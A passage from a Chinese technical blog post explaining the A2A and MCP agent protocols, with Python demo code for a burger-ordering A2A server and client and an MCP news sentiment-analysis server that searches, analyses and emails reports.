        &quot;status&quot;: &quot;confirmed&quot;
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果从程序员角度看，A2A 落地可以总结成两句话：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;服务端 Agent 要做： 
定义 AgentSkill / AgentCard，配置 TaskStore，实现 AgentExecutor，并借助 A2A SDK 提供的 A2A Server 将自己暴露成可远程调用的 Agent。

客户端 Agent 要做：
获取远程 Agent 地址，读取 Agent Card，根据 Agent Card 选择合适的远程 Agent，构造 Message，发送 A2A 请求，并处理返回的 Message / Task 状态 / Artifact。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是 A2A 的核心工程模型。&lt;/p&gt;
&lt;h2&gt;A2A的具体实现&lt;/h2&gt;
&lt;p&gt;一个demo。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;server.py：Burger Seller Agent&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os

import uvicorn

from a2a.helpers import (
    get_message_text,
    new_task_from_user_message,
    new_text_message,
    new_text_part,
)
from a2a.server.agent_execution import AgentExecutor, RequestContext
from a2a.server.events import EventQueue
from a2a.server.request_handlers import DefaultRequestHandler
from a2a.server.routes import create_agent_card_routes, create_jsonrpc_routes
from a2a.server.tasks import InMemoryTaskStore, TaskUpdater
from a2a.types import AgentCapabilities, AgentCard, AgentInterface, AgentSkill
from a2a.types.a2a_pb2 import TaskState
from starlette.applications import Starlette


A2A_HOST = os.getenv(&quot;A2A_HOST&quot;, &quot;127.0.0.1&quot;)
A2A_PORT = int(os.getenv(&quot;A2A_PORT&quot;, &quot;10001&quot;))


class BurgerSeller:
    &quot;&quot;&quot;真正的业务逻辑。

    A2A 只负责 Agent 之间如何发现、发消息、维护任务状态。
    至于“卖汉堡”这件事本身怎么实现，属于业务代码。
    &quot;&quot;&quot;

    async def prepare_quote(self, user_request: str) -&amp;gt; str:
        &quot;&quot;&quot;根据用户请求生成报价。

        这里简化为直接返回固定报价。
        真实项目里，这一步可能会查库存、算价格、调用支付/餐厅系统等。
        &quot;&quot;&quot;
        return (
            &quot;I can order 4 cheeseburgers and 1 veggie burger &quot;
            &quot;for 78 dollars. Please confirm.&quot;
        )

    async def place_order(self) -&amp;gt; str:
        &quot;&quot;&quot;用户确认后真正下单。&quot;&quot;&quot;
        return (
            &quot;Order confirmed. I placed the burger order and the restaurant &quot;
            &quot;will deliver it in about 30 minutes.&quot;
        )


class BurgerAgentExecutor(AgentExecutor):
    &quot;&quot;&quot;A2A 服务端真正处理消息的入口。
    每次客户端发送 Message，A2A SDK 都会调用 execute()。
    &quot;&quot;&quot;

    def __init__(self) -&amp;gt; None:
        self.seller = BurgerSeller()

    async def execute(
        self,
        context: RequestContext,
        event_queue: EventQueue,
    ) -&amp;gt; None:
        &quot;&quot;&quot;处理一次 A2A message:send 请求。

        context 里包含本次请求的 Message、当前 Task、context_id 等信息。
        event_queue 是服务端向 A2A 框架发布 Task 变化的通道。
        &quot;&quot;&quot;
        # 如果客户端传来了已有 task_id，A2A SDK 会从 TaskStore 中恢复 current_task。
        # 这就是“长任务可以继续”的关键：第二次确认不是新任务，而是同一个任务。
        if context.current_task:
            task = context.current_task
        else:
            # 第一次请求还没有 Task，需要从用户 Message 创建一个新的 Task。
            # new_task_from_user_message 会生成 task_id/context_id，并把用户消息放入 history。
            task = new_task_from_user_message(context.message)
            await event_queue.enqueue_event(task)

        # TaskUpdater 是 SDK 提供的辅助类，用来发布状态更新和 artifact。
        # 后面所有 WORKING、INPUT_REQUIRED、COMPLETED 都通过它写回同一个 Task。
        task_updater = TaskUpdater(
            event_queue=event_queue,
            task_id=task.id,
            context_id=task.context_id,
        )

        # A2A Message 可以有多个 part，这里只演示 text/plain，所以直接提取文本。
        user_text = get_message_text(context.message).strip()

        # 如果当前 Task 已经处于 INPUT_REQUIRED，说明上一次服务端在等待用户输入。
        # 此时这条新消息就应该被当作“用户确认/补充信息”，而不是新订单。
        if task.status.state == TaskState.TASK_STATE_INPUT_REQUIRED:
            await self._handle_confirmation(user_text, task_updater)
            return

        # 第一次处理订单：先把任务状态改成 WORKING，表示 Agent 正在处理。
        await task_updater.update_status(
            state=TaskState.TASK_STATE_WORKING,
            message=new_text_message(&quot;Burger Seller Agent is preparing a quote...&quot;),
        )

        # 生成报价，并把报价作为 artifact 写入 Task。
        # artifact 更像任务产物；status.message 更像当前状态说明。
        quote = await self.seller.prepare_quote(user_text)
        await task_updater.add_artifact(
            parts=[
                new_text_part(
                    text=quote,
                    media_type=&quot;text/plain&quot;,
                )
            ]
        )

        # INPUT_REQUIRED 表示任务被中断/暂停，正在等待用户继续提供输入。
        # 客户端拿到这个状态后，可以提示用户输入 confirm，再带着同一个 task_id 续发消息。
        await task_updater.requires_input(
            message=new_text_message(&quot;Please confirm if you want me to place this order.&quot;),
        )

    async def _handle_confirmation(
        self,
        user_text: str,
        task_updater: TaskUpdater,
    ) -&amp;gt; None:
        &quot;&quot;&quot;处理 INPUT_REQUIRED 状态下用户发来的确认消息。&quot;&quot;&quot;
        if user_text.lower() not in {&quot;confirm&quot;, &quot;yes&quot;, &quot;y&quot;, &quot;ok&quot;, &quot;sure&quot;}:
            await task_updater.requires_input(
                message=new_text_message(
                    &quot;Please reply with &apos;confirm&apos; to place the order.&quot;
                ),
            )
            return

        # 用户确认后，任务从 INPUT_REQUIRED 回到 WORKING。
        await task_updater.update_status(
            state=TaskState.TASK_STATE_WORKING,
            message=new_text_message(&quot;Confirmation received. Placing the order...&quot;),
        )

        # 执行真正的下单动作，并把最终结果追加成新的 artifact。
        # 所以客户端最终会看到两个 artifact：报价结果 + 下单结果。
        result = await self.seller.place_order()
        await task_updater.add_artifact(
            parts=[
                new_text_part(
                    text=result,
                    media_type=&quot;text/plain&quot;,
                )
            ]
        )

        # 任务完成后进入终态 COMPLETED。
        # 进入终态后，这个 Task 就不应该再继续处理新的业务步骤。
        await task_updater.update_status(
            state=TaskState.TASK_STATE_COMPLETED,
            message=new_text_message(&quot;Order task is completed.&quot;),
        )

    async def cancel(
        self,
        context: RequestContext,
        event_queue: EventQueue,
    ) -&amp;gt; None:
        # 这里暂时没有实现取消逻辑。
        raise NotImplementedError(&quot;Cancel is not supported.&quot;)


def build_app() -&amp;gt; Starlette:
    &quot;&quot;&quot;创建 A2A HTTP 服务。

    这里使用 Starlette 承载 A2A SDK 生成的路由。
    对外暴露两类能力：
    1. Agent Card 路由：让客户端发现这个 Agent 是谁、会什么、怎么访问。
    2. JSON-RPC 路由：让客户端发送 A2A message:send 请求。
    &quot;&quot;&quot;
    # AgentSkill 描述这个 Agent 的一个具体能力。
    # 客户端或调度系统可以通过 Skill 判断是否应该把某类任务发给这个 Agent。
    sell_burger_skill = AgentSkill(
        id=&quot;sell_burger&quot;,
        name=&quot;Sell Burger&quot;,
        description=&quot;Handle burger ordering requests with manual confirmation&quot;,
        input_modes=[&quot;text/plain&quot;],
        output_modes=[&quot;text/plain&quot;],
        tags=[&quot;burger&quot;, &quot;food&quot;, &quot;order&quot;],
        examples=[
            &quot;I want a cheeseburger&quot;,
            &quot;Order lunch for the team&quot;,
            &quot;Confirm the burger order&quot;,
        ],
    )

    # AgentCard 是 A2A 的“名片”。
    # 客户端通常先读取 AgentCard，再根据里面的协议地址、输入输出类型、能力描述来创建客户端。
    public_agent_card = AgentCard(
        name=&quot;Burger Seller Agent&quot;,
        description=&quot;A seller agent that quotes and confirms burger purchase requests.&quot;,
        version=&quot;1.0.0&quot;,
        default_input_modes=[&quot;text/plain&quot;],
        default_output_modes=[&quot;text/plain&quot;],
        capabilities=AgentCapabilities(streaming=False),
        supported_interfaces=[
            AgentInterface(
                protocol_binding=&quot;JSONRPC&quot;,
                url=f&quot;http://{A2A_HOST}:{A2A_PORT}&quot;,
            )
        ],
        skills=[sell_burger_skill],
    )

    # RequestHandler 把协议层和业务执行器串起来。
    # InMemoryTaskStore 用内存保存 Task，所以服务端重启后历史任务会丢失。
    # 真实系统里通常会换成数据库或持久化 TaskStore。
    request_handler = DefaultRequestHandler(
        agent_executor=BurgerAgentExecutor(),
        task_store=InMemoryTaskStore(),
        agent_card=public_agent_card,
    )

    # create_agent_card_routes 暴露 /.well-known/agent-card.json 等发现路由。
    # create_jsonrpc_routes 暴露 JSON-RPC 请求入口，本 demo 绑定在根路径 &quot;/&quot;。
    routes = []
    routes.extend(create_agent_card_routes(public_agent_card))
    routes.extend(create_jsonrpc_routes(request_handler, &quot;/&quot;))

    return Starlette(routes=routes)


if __name__ == &quot;__main__&quot;:
    app = build_app()
    uvicorn.run(app, host=A2A_HOST, port=A2A_PORT)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614222104209.png&quot; alt=&quot;image-20260614222103909&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;client.py：Purchasing Agent&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import asyncio
import os

import httpx
from a2a.client import A2ACardResolver, ClientConfig, create_client
from a2a.helpers import new_text_message
from a2a.types.a2a_pb2 import Role, SendMessageRequest, StreamResponse, Task, TaskState


A2A_HOST = os.getenv(&quot;A2A_HOST&quot;, &quot;127.0.0.1&quot;)
A2A_PORT = int(os.getenv(&quot;A2A_PORT&quot;, &quot;10001&quot;))
BURGER_AGENT_URL = f&quot;http://{A2A_HOST}:{A2A_PORT}&quot;


async def get_agent_card():
    &quot;&quot;&quot;读取远程 Agent Card&quot;&quot;&quot;
    async with httpx.AsyncClient() as httpx_client:
        resolver = A2ACardResolver(
            httpx_client=httpx_client,
            base_url=BURGER_AGENT_URL,
        )
        return await resolver.get_agent_card()


def get_artifact_text(task: Task) -&amp;gt; list[str]:
    &quot;&quot;&quot;从 Task 的 artifacts 中提取文本结果。&quot;&quot;&quot;
    texts = []
    for artifact in task.artifacts:
        for part in artifact.parts:
            if part.text:
                texts.append(part.text)
    return texts


def print_task_summary(task: Task) -&amp;gt; None:
    &quot;&quot;&quot;
    SDK 返回的原始 protobuf 对象信息很完整，但有些繁杂。
    这里提取 task_id、context_id、状态、状态消息和 artifacts，方便观察长任务流转。
    &quot;&quot;&quot;
    state_name = TaskState.Name(task.status.state)
    print(f&quot;\nTask: {task.id}&quot;)
    print(f&quot;Context: {task.context_id}&quot;)
    print(f&quot;State: {state_name}&quot;)

    # status.message 表示“当前 Task 状态附带的一句话说明”。
    if task.status.message.parts:
        print(&quot;Status message:&quot;)
        for part in task.status.message.parts:
            if part.text:
                print(f&quot;  {part.text}&quot;)

    # artifacts 表示“任务已经产生的结果”。
    # 第一次请求会产生报价 artifact；确认后会追加下单成功 artifact。
    artifact_texts = get_artifact_text(task)
    if artifact_texts:
        print(&quot;Artifacts:&quot;)
        for text in artifact_texts:
            print(f&quot;  {text}&quot;)


async def send_message(
    client,
    user_text: str,
    task_id: str | None = None,
    context_id: str | None = None,
) -&amp;gt; Task:
    &quot;&quot;&quot;向 A2A Agent 发送一条用户消息，并返回服务端给出的 Task。

    第一次发送消息时不传 task_id/context_id，服务端会创建新 Task。
    当服务端返回 INPUT_REQUIRED 后，第二次发送确认消息时必须传回同一个
    task_id/context_id，这样服务端才知道是在继续同一个长任务。
    &quot;&quot;&quot;
    message = new_text_message(
        text=user_text,
        role=Role.ROLE_USER,
        task_id=task_id,
        context_id=context_id,
    )
    request = SendMessageRequest(message=message)

    # client.send_message 返回的是一个异步迭代器。
    # 即使当前配置是非流式，SDK 也会把结果包装成 StreamResponse，保持统一接口。
    last_task = None
    async for chunk in client.send_message(request):
        if isinstance(chunk, Task):
            last_task = chunk
        elif isinstance(chunk, StreamResponse) and chunk.HasField(&quot;task&quot;):
            last_task = chunk.task

    if last_task is None:
        raise RuntimeError(&quot;The agent did not return a task.&quot;)

    return last_task


async def send_order_message(user_text: str):
    &quot;&quot;&quot;完整演示一次“报价 -&amp;gt; 等待确认 -&amp;gt; 继续完成”的 A2A 长任务。&quot;&quot;&quot;
    agent_card = await get_agent_card()

    print(&quot;Read remote Agent Card:&quot;)
    print(f&quot;- name: {agent_card.name}&quot;)
    print(f&quot;- description: {agent_card.description}&quot;)

    # 服务端每次请求返回一个聚合后的 Task，而不是持续推送事件流。
    config = ClientConfig(streaming=False)
    client = await create_client(
        agent=agent_card,
        client_config=config,
    )

    try:
        # 第一次发送订单请求。
        # 服务端会创建 Task，生成报价 artifact，然后把状态置为 INPUT_REQUIRED。
        print(&quot;\nSending A2A message:&quot;)
        print(user_text)
        task = await send_message(client, user_text)
        print_task_summary(task)

        # 只要服务端说 INPUT_REQUIRED，客户端就应该把控制权交还给用户。
        # 用户输入 confirm 后，客户端带着同一个 task_id/context_id 继续发消息。
        while task.status.state == TaskState.TASK_STATE_INPUT_REQUIRED:
            confirmation = input(&quot;\nType &apos;confirm&apos; to continue this A2A task: &quot;).strip()
            task = await send_message(
                client,
                confirmation,
                task_id=task.id,
                context_id=task.context_id,
            )
            print_task_summary(task)
    finally:
        # 显式关闭客户端底层 httpx 连接。
        await client.close()


async def main():
    # 这个文本就是用户的自然语言任务请求。
    user_text = (
        &quot;Order lunch for the team. &quot;
        &quot;people=5, budget=80, dietaryRestrictions=no pork and one vegetarian.&quot;
    )

    await send_order_message(user_text)


if __name__ == &quot;__main__&quot;:
    asyncio.run(main())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614225105142.png&quot; alt=&quot;image-20260614225104944&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;三、MCP&lt;/h1&gt;
&lt;p&gt;MCP全称&lt;strong&gt;Model Context Protocol&lt;/strong&gt;，由Anthropic在2024年11月推出，它的思路很简单：定义一个统一标准，让所有AI应用用同一种方式连接所有工具。就像USB-C统一了充电接口一样。&lt;/p&gt;
&lt;p&gt;MCP和A2A一样采用C/S架构，中间用 &lt;strong&gt;JSON-RPC 2.0&lt;/strong&gt; 协议通信，这是一个已经被广泛验证的成熟技术，上文已经提过，这里就不做赘述了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌───────────────────────────────────────┐
│              AI 应用  	 			   │  ← MCP Client
└───────────────────────────────────────┘
                  │
                  │  MCP 协议 (JSON-RPC 2.0)
                  │
     ┌────────────┼───────────────┐
     ▼            ▼               ▼
┌────────────┐ ┌────────────┐ ┌────────────┐
│ Google     │ │ 数据库      │ │ Slack      │  ← MCP Servers
│ Drive      │ │ Server     │ │ Server     │
└────────────┘ └────────────┘ └────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MCP的基础概念&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;MCP client&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MCP Client&lt;/code&gt;，比如cursor，它是 MCP 架构中的关键组件，主要负责和 MCP 服务器建立连接并进行通信。它能自动匹配服务器的协议版本，确认可用功能，并负责数据传输和 JSON-RPC 交互。主要用于调用&lt;strong&gt;远程&lt;/strong&gt;或者&lt;strong&gt;本地&lt;/strong&gt;资源，远程：高德地图，本地：数据库、表等。&lt;/p&gt;
&lt;p&gt;主要负责：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接收来自LLM的请求&lt;/li&gt;
&lt;li&gt;将请求转发到相应的MCP server&lt;/li&gt;
&lt;li&gt;将MCP server的结果返回给LLM&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;MCP Server&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MCP Server&lt;/code&gt;，是整个 MCP 架构的核心部分，主要用来为客户端提供各种工具、资源和功能支持。它负责处理客户端的请求，包括解析协议、提供工具、管理资源以及处理各种交互信息。他的本质是运行在电脑上的一个nodejs或python程序。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614210727413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主要暴露三类东西：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tools&lt;/td&gt;
&lt;td&gt;模型可以调用的函数 / 操作（如「搜索数据库」「发送邮件」）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Resources&lt;/td&gt;
&lt;td&gt;应用程序可以读取的数据源（如文件、数据库记录）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prompts&lt;/td&gt;
&lt;td&gt;预定义的提示模板（如「用这种格式总结文档」）。用户或 Host 可以直接调用这些模板。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;MCP的工作流程&lt;/h2&gt;
&lt;p&gt;别人的图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614210851501.png&quot; alt=&quot;6cdc0672d18e299f2dffe117e717ffca&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614210958901.png&quot; alt=&quot;c7ef289d8f65f0609b77f708f3cd8bae&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;MCP的具体实现&lt;/h2&gt;
&lt;p&gt;下面是一个简单的demo，场景如下：一个本地智能舆情分析系统，通过nlp与多工具协作，实现用户查询意图的自动理解、新闻检索、情绪分析、结构化输出与邮件推送。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Server.py&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import os
import smtplib
from datetime import datetime
from email.message import EmailMessage
from pathlib import Path

import httpx
from dotenv import load_dotenv
from mcp.server.fastmcp import FastMCP
from openai import OpenAI


BASE_DIR = Path(__file__).resolve().parent
GOOGLE_NEWS_DIR = BASE_DIR / &quot;google_news&quot;
SENTIMENT_REPORTS_DIR = BASE_DIR / &quot;sentiment_reports&quot;

# 加载环境变量。
load_dotenv()

# 初始化 MCP 服务器
mcp = FastMCP(&quot;NewsServer&quot;)


def _safe_filename(filename: str, default_prefix: str, suffix: str) -&amp;gt; str:
    &quot;&quot;&quot;把模型或用户给出的文件名清理成 Windows/Linux 都安全的文件名。&quot;&quot;&quot;
    filename = filename.strip()
    if not filename:
        filename = f&quot;{default_prefix}_{datetime.now().strftime(&apos;%Y%m%d_%H%M%S&apos;)}{suffix}&quot;

    filename = os.path.basename(filename)
    filename = &quot;&quot;.join(ch for ch in filename if ch not in &apos;\\/:*?&quot;&amp;lt;&amp;gt;|&apos;)

    if not filename.endswith(suffix):
        filename = f&quot;{filename}{suffix}&quot;

    return filename


def _resolve_report_path(filename: str = &quot;&quot;, attachment_path: str = &quot;&quot;) -&amp;gt; Path:
    &quot;&quot;&quot;把邮件工具收到的文件名或路径解析成真实报告路径。&quot;&quot;&quot;
    raw_path = attachment_path or filename
    if not raw_path:
        raise ValueError(&quot;filename 或 attachment_path 不能为空&quot;)

    path = Path(raw_path)
    if path.is_absolute():
        return path

    # 如果传入的是 sentiment_reports/xxx.md 这种相对路径，就按 MCP 目录解析。
    candidate = BASE_DIR / path
    if candidate.exists():
        return candidate

    # 如果只传入 xxx.md，就默认它在 sentiment_reports 目录下。
    return SENTIMENT_REPORTS_DIR / path.name


@mcp.tool()
async def search_google_news(keyword: str) -&amp;gt; str:
    &quot;&quot;&quot;使用 Serper API 搜索 Google News，并返回前 5 条新闻。

    参数:
        keyword: 新闻搜索关键词，例如“小米汽车”。

    返回:
        JSON 字符串，包含标题、摘要和链接；同时会在本地保存一份 JSON 文件。
    &quot;&quot;&quot;
    api_key = os.getenv(&quot;SERPER_API_KEY&quot;)
    if not api_key:
        return &quot;未配置 SERPER_API_KEY，请在 .env 文件中设置。&quot;

    url = &quot;https://google.serper.dev/news&quot;
    headers = {
        &quot;X-API-KEY&quot;: api_key,
        &quot;Content-Type&quot;: &quot;application/json&quot;,
    }
    payload = {&quot;q&quot;: keyword}

    async with httpx.AsyncClient() as client:
        response = await client.post(url, headers=headers, json=payload)
        response.raise_for_status()
        data = response.json()

    if &quot;news&quot; not in data:
        return &quot;未获取到搜索结果。&quot;

    articles = [
        {
            &quot;title&quot;: item.get(&quot;title&quot;),
            &quot;desc&quot;: item.get(&quot;snippet&quot;),
            &quot;url&quot;: item.get(&quot;link&quot;),
        }
        for item in data[&quot;news&quot;][:5]
    ]

    GOOGLE_NEWS_DIR.mkdir(parents=True, exist_ok=True)
    filename = f&quot;google_news_{datetime.now().strftime(&apos;%Y%m%d_%H%M%S&apos;)}.json&quot;
    file_path = GOOGLE_NEWS_DIR / filename

    file_path.write_text(
        json.dumps(articles, ensure_ascii=False, indent=2),
        encoding=&quot;utf-8&quot;,
    )

    return (
        f&quot;已获取与 [{keyword}] 相关的前 5 条 Google 新闻：\n&quot;
        f&quot;{json.dumps(articles, ensure_ascii=False, indent=2)}\n&quot;
        f&quot;已保存到：{file_path}&quot;
    )


@mcp.tool()
async def analyze_sentiment(text: str, filename: str = &quot;&quot;) -&amp;gt; str:
    &quot;&quot;&quot;对新闻文本做舆情分析，并保存成 Markdown 报告。

    参数:
        text: 新闻内容或搜索工具返回的新闻 JSON。
        filename: 希望保存的 Markdown 文件名。可以不传，不传时自动生成。

    返回:
        报告文件的完整路径。后续 send_email_with_attachment 可以直接使用这个路径。
    &quot;&quot;&quot;
    openai_key = os.getenv(&quot;DASHSCOPE_API_KEY&quot;)
    model = os.getenv(&quot;MODEL&quot;)
    base_url = os.getenv(&quot;BASE_URL&quot;)

    if not openai_key:
        return &quot;未配置 DASHSCOPE_API_KEY，请在 .env 文件中设置。&quot;
    if not model:
        return &quot;未配置 MODEL，请在 .env 文件中设置。&quot;

    client = OpenAI(api_key=openai_key, base_url=base_url)

    prompt = (
        &quot;请对以下新闻内容进行舆情分析，要求包含：\n&quot;
        &quot;1. 总体情绪倾向\n&quot;
        &quot;2. 正面因素\n&quot;
        &quot;3. 负面或风险因素\n&quot;
        &quot;4. 对企业或品牌的影响\n&quot;
        &quot;5. 简短结论\n\n&quot;
        f&quot;{text}&quot;
    )

    response = client.chat.completions.create(
        model=model,
        messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: prompt}],
    )
    result = response.choices[0].message.content.strip()

    markdown = f&quot;&quot;&quot;# 舆情分析报告

**分析时间：** {datetime.now().strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)}

---

## 原始新闻材料

{text}

---

## 分析结果

{result}
&quot;&quot;&quot;

    SENTIMENT_REPORTS_DIR.mkdir(parents=True, exist_ok=True)

    # 不管 filename 是否为空，都必须生成 file_path。
    safe_name = _safe_filename(filename, &quot;sentiment&quot;, &quot;.md&quot;)
    file_path = SENTIMENT_REPORTS_DIR / safe_name
    file_path.write_text(markdown, encoding=&quot;utf-8&quot;)

    return str(file_path)


@mcp.tool()
async def send_email_with_attachment(
    to: str,
    subject: str,
    body: str,
    filename: str = &quot;&quot;,
    attachment_path: str = &quot;&quot;,
) -&amp;gt; str:
    &quot;&quot;&quot;发送带附件的邮件。

    参数:
        to: 收件人邮箱。
        subject: 邮件标题。
        body: 邮件正文。
        filename: sentiment_reports 目录下的报告文件名。
        attachment_path: 报告文件完整路径。若传了这个参数，会优先使用它。

    返回:
        邮件发送结果说明。
    &quot;&quot;&quot;
    smtp_server = os.getenv(&quot;SMTP_SERVER&quot;)
    smtp_port = int(os.getenv(&quot;SMTP_PORT&quot;, &quot;465&quot;))
    sender_email = os.getenv(&quot;EMAIL_USER&quot;)
    sender_pass = os.getenv(&quot;EMAIL_PASS&quot;)

    if not smtp_server or not sender_email or not sender_pass:
        return &quot;SMTP 配置不完整，请检查 SMTP_SERVER、EMAIL_USER、EMAIL_PASS。&quot;

    try:
        full_path = _resolve_report_path(filename=filename, attachment_path=attachment_path)
    except ValueError as exc:
        return f&quot;附件参数无效：{exc}&quot;

    if not full_path.exists():
        return f&quot;附件路径无效，未找到文件：{full_path}&quot;

    msg = EmailMessage()
    msg[&quot;Subject&quot;] = subject
    msg[&quot;From&quot;] = sender_email
    msg[&quot;To&quot;] = to
    msg.set_content(body)

    try:
        file_data = full_path.read_bytes()
        msg.add_attachment(
            file_data,
            maintype=&quot;application&quot;,
            subtype=&quot;octet-stream&quot;,
            filename=full_path.name,
        )
    except Exception as exc:
        return f&quot;附件读取失败：{exc}&quot;

    try:
        with smtplib.SMTP_SSL(smtp_server, smtp_port) as server:
            server.login(sender_email, sender_pass)
            server.send_message(msg)
        return f&quot;邮件已成功发送给 {to}，附件路径：{full_path}&quot;
    except Exception as exc:
        return f&quot;邮件发送失败：{exc}&quot;


if __name__ == &quot;__main__&quot;:
    mcp.run(transport=&quot;stdio&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Client.py&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;整体链路：&lt;code&gt;用户输入 → Client 调用大模型规划工具流程 → Client 依次调用 MCP Server 工具 → 收集工具结果再丢给大模型生成最终回答。&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import asyncio
import os
import json
from typing import Optional, List
from contextlib import AsyncExitStack
from datetime import datetime
import re
from openai import OpenAI
from dotenv import load_dotenv
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

load_dotenv()

class MCPClient:
	# 基础依赖层：统一管理全局资源、大模型客户端、资源自动回收栈
    def __init__(self):
        self.exit_stack = AsyncExitStack()  # 异步资源管理器（核心）
        self.openai_api_key = os.getenv(&quot;DASHSCOPE_API_KEY&quot;) # 读取.env大模型配置
        self.base_url = os.getenv(&quot;BASE_URL&quot;)
        self.model = os.getenv(&quot;MODEL&quot;)
        if not self.openai_api_key:
            raise ValueError(&quot;❌ 未找到 OpenAI API Key，请在 .env 文件中设置 DASHSCOPE_API_KEY&quot;)
        self.client = OpenAI(api_key=self.openai_api_key, base_url=self.base_url)  # 初始化大模型客户端
        self.session: Optional[ClientSession] = None # MCP会话句柄
	
	# MCP 服务连接层：启动 MCP 服务子进程、建立双向 stdio 通信、初始化 MCP 会话、拉取服务端可用工具列表
    async def connect_to_server(self, server_script_path: str):
        # 对服务器脚本进行判断，只允许是 .py 或 .js
        is_python = server_script_path.endswith(&apos;.py&apos;)
        is_js = server_script_path.endswith(&apos;.js&apos;)
        if not (is_python or is_js):
            raise ValueError(&quot;服务器脚本必须是 .py 或 .js 文件&quot;)

        # 确定启动命令，.py 用 python，.js 用 node
        command = &quot;python&quot; if is_python else &quot;node&quot;

        # 构造 MCP 所需的服务器参数StdioServerParameters，包含启动命令、脚本路径参数、环境变量（为 None 表示默认）
        server_params = StdioServerParameters(command=command, args=[server_script_path], env=None)

        # 启动 MCP 工具服务进程，stdio_client 创建 stdio 双向传输通信通道（子进程 stdin 写、stdout 读）
        stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params))

        # 拆包通信通道：self.stdio(读流), self.write(写流)。作为 MCP 会话底层通信载体；
        self.stdio, self.write = stdio_transport

        # 创建 ClientSession（MCP 客户端会话对象，封装协议方法：list_tools/call_tool）
        self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write))

        # 初始化会话，执行 MCP 握手协议，建立正式通信；
        await self.session.initialize()

        # list_tools() 拉取服务端所有工具，缓存下来供后续规划使用。
        response = await self.session.list_tools()
        tools = response.tools
        print(&quot;\n已连接到服务器，支持以下工具:&quot;, [tool.name for tool in tools])
        
        # 总的来说，底层通信模型就是：
        # MCPClient(主程序) &amp;lt;==stdio管道==&amp;gt; server.py(工具服务进程)
        # write → 往子进程stdin发请求（调用工具、查询工具列表）
        # stdio → 读取子进程stdout返回结果
        # ClientSession 封装了这套管道的MCP协议报文序列化/反序列化，不用手动拼JSON


	# 工具链规划模块（自研核心逻辑，不属于原生 MCP）
	# 设计目的：减少多轮 LLM 调用开销，一次性规划完整任务流程，适合固定流水线任务（情感分析→生成报告→发邮件）。
	async def plan_tool_usage(self, query: str, tools: List[dict]) -&amp;gt; List[dict]:
        # 构造系统提示词 system_prompt。
        # 将所有可用工具组织为文本列表插入提示中，并明确指出工具名，
        # 限定返回格式是 JSON，防止其输出错误格式的数据。
        print(&quot;\n📤 提交给大模型的工具定义:&quot;)
        print(json.dumps(tools, ensure_ascii=False, indent=2))
        tool_list_text = &quot;\n&quot;.join([
            f&quot;- {tool[&apos;function&apos;][&apos;name&apos;]}: {tool[&apos;function&apos;][&apos;description&apos;]}&quot;
            for tool in tools
        ])
        system_prompt = {
            &quot;role&quot;: &quot;system&quot;,
            &quot;content&quot;: (
                &quot;你是一个智能任务规划助手，用户会给出一句自然语言请求。\n&quot;
                &quot;你只能从以下工具中选择（严格使用工具名称）：\n&quot;
                f&quot;{tool_list_text}\n&quot;
                &quot;如果多个工具需要串联，后续步骤中可以使用 {{上一步工具名}} 占位。\n&quot;
                &quot;返回格式：JSON 数组，每个对象包含 name 和 arguments 字段。\n&quot;
                &quot;不要返回自然语言，不要使用未列出的工具名。&quot;
            )
        }

        # 构造对话上下文并调用模型。
        # 将系统提示和用户的自然语言一起作为消息输入，并选用当前的模型。
        planning_messages = [
            system_prompt,
            {&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: query}
        ]

        response = self.client.chat.completions.create(
            model=self.model,
            messages=planning_messages,
            tools=tools,
            tool_choice=&quot;none&quot;
        )

